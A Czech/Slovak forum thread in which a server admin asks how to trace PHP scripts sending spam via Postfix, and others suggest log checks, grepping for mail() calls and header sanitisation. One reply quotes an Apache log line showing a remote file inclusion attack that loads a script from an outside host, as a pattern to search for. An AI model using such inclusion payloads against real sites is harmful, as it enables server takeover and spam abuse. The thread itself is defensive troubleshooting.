Dotaz: SPAM z localhostu pres apache, php

[B0biN]

Ahoj lidi, resim ted takovy problem. Hromadi se mi ve fronte spousta mailu (mailq) cca 8 tis. Vypada to nejak takhle:

BDE1F2A44172* 4006 Wed Aug 30 15:24:20 www-data@smtp.server.ltd

sweetthang962000@yahoo.com

Evidentne to posila nejaky php script z localhostu, protoze user www-data je user pod kterym bezi apache, potazmo php.
Jak zjistit, ktery php script tohle dela, popripade jak tenhle problem vyresit a pritom nezakazat funkfi mail() na php?
Napadlo me donutit postfix, aby odesilal pouze maily, ktere se overi pres SASL,ale nevim jak to nastavit, aby se overovaly, pokud je to z localhostu. Diky.

Odpovědi

[hele]

obvykle se to da lokalizovat v access logu apache, a nebo si upravit funkci mail() v php aby logovala co posila.

urcite se spise snazit lokalizovat pricinu(tedy vadny kod php) a ne dusledek.

[Zdeněk Štěpánek]

Aspon priblizne by to slo porovnat podle casu odeslani mailu a ten cas si najit v access logu apache.

Zdenek

[B0biN]

Mno lokalizace priciny je samozrejma, ale nemuzu kontrolovat scripty stum hostingu, ktere na serveru bezi, to bych nedalal nic jineho :)

[R]

1. Pozriet, co je v tych spamoch 2. Vojst do adresara, kde su php skripty, a pouzit find: find -name \*.php -exec grep -H mail\( \{\} \; 3. Najst podozrivy skript 4. Opravit ho a tiez vsetky ostatne

V tych PHP skriptoch sa _MUSI_ _VZDY_ kontrolovat to, co sa vklada zvonku do hlavicky mailu, inak je z toho pruser (spammer ako mailovu adresu kludne posle cely spam s hlavickou). Uz som to raz riesil - niekto neosetril vobec meno a e-mailovu adresu odosielatela...

[B0biN]

Ano vyhledat se mi to take podarilo, ale je toho takova spousta, ze by trvalo hodne dlouho, nez bych na to prisel, navic nekdo pouziva ve funkci promene. Myslel jsem, ze ma nekdo konkretni reseni, treba jak jsem se uz ptal, donutit postfix, aby overovatl pres SASL i maily odeslane z localhostu.

[Jiri Strapina]

Muze to byt problem vkladani skriptu z jineho serveru, potom muzes pouze hledat v logach apache.

Sveho casu jsem nasel u klienta v logach nasledujici (tehdy funkcni)

"GET /pic_navigace/menu_de/accessories_a.gif HTTP/1.1" 200 1664 ...."http://x.x.x.x/main.php?stranka=http://geocities.com/lawrence4ever2007/NightWalkeR2.txt?"....

Takze hledej =http

[B0biN]

Tak yo zkusim, ale tehle detektivni praktiky jsem se chtel vyhnout, potreboval jsem nejak poresit aby se to uz neopakovalo. Co treba rikate na PHPMailer. Donutit postfix, aby overoval veskere uzivatele, ktere posilaji pres SMTP, v php zakazat funkci mail a pomoci extensions PHPMaileru pouzivat SMTP overeni?

[Karel Borkovec]

Přesně toto jsem objevil v logu apache... Jak opravit PHP skripty, pokud jsou laděny v tomto duchu? Tzn. *.php?page=....

Prosím o radu...

[R]

Includovanie remote suborov? OMFG, to kto programoval?

[stativ]

Prece nejakej 1337 h4x0r.